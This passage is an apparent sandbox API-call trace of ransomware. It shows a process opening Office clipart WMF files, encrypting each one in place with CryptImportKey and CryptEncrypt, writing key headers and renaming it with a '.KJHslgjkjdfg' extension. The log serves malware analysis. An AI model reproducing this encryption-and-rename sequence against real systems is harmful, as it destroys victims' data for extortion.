cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1 [0218.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.530] GetProcessHeap () returned 0x2ef0000 [0218.530] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.530] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0218.532] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.533] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.533] GetProcessHeap () returned 0x2ef0000 [0218.533] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.533] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.533] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.533] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.533] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.533] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.533] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.533] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.533] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.533] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.534] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x112e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x112e, lpOverlapped=0x0) returned 1 [0218.535] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1130, dwBufLen=0x1130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1130) returned 1 [0218.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.535] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1130, lpOverlapped=0x0) returned 1 [0218.535] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.535] SetEndOfFile (hFile=0x130) returned 1 [0218.538] GetProcessHeap () returned 0x2ef0000 [0218.538] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.538] GetProcessHeap () returned 0x2ef0000 [0218.538] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.kjhslgjkjdfg")) returned 1 [0218.540] CloseHandle (hObject=0x130) returned 1 [0218.540] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1 [0218.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.541] GetProcessHeap () returned 0x2ef0000 [0218.541] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.541] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.541] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.544] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.544] GetProcessHeap () returned 0x2ef0000 [0218.544] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.544] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.544] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.544] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.544] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.544] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.544] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1138, lpOverlapped=0x0) returned 1 [0218.549] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1140, dwBufLen=0x1140 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1140) returned 1 [0218.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.549] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1140, lpOverlapped=0x0) returned 1 [0218.549] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.549] SetEndOfFile (hFile=0x130) returned 1 [0218.552] GetProcessHeap () returned 0x2ef0000 [0218.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.552] GetProcessHeap () returned 0x2ef0000 [0218.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.kjhslgjkjdfg")) returned 1 [0218.554] CloseHandle (hObject=0x130) returned 1 [0218.554] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1 [0218.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.556] GetProcessHeap () returned 0x2ef0000 [0218.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.556] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.556] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0218.559] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.559] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.559] GetProcessHeap () returned 0x2ef0000 [0218.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.559] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.559] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.559] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.559] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.560] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.560] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.560] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3926, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3926, lpOverlapped=0x0) returned 1 [0218.561] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3930, dwBufLen=0x3930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3930) returned 1 [0218.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.561] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3930, lpOverlapped=0x0) returned 1 [0218.561] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.561] SetEndOfFile (hFile=0x130) returned 1 [0218.564] GetProcessHeap () returned 0x2ef0000 [0218.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.564] GetProcessHeap () returned 0x2ef0000 [0218.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.kjhslgjkjdfg")) returned 1 [0218.566] CloseHandle (hObject=0x130) returned 1 [0218.566] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1 [0218.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.568] GetProcessHeap () returned 0x2ef0000 [0218.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.568] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.568] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.570] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.570] GetProcessHeap () returned 0x2ef0000 [0218.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.570] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.570] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.571] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.571] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.571] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.571] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.571] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.571] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.571] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1afc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1afc, lpOverlapped=0x0) returned 1 [0218.572] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b00) returned 1 [0218.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.572] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b00, lpOverlapped=0x0) returned 1 [0218.573] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.573] SetEndOfFile (hFile=0x130) returned 1 [0218.575] GetProcessHeap () returned 0x2ef0000 [0218.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.575] GetProcessHeap () returned 0x2ef0000 [0218.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.kjhslgjkjdfg")) returned 1 [0218.577] CloseHandle (hObject=0x130) returned 1 [0218.577] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1 [0218.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.578] GetProcessHeap () returned 0x2ef0000 [0218.578] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.578] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.578] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.578] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, 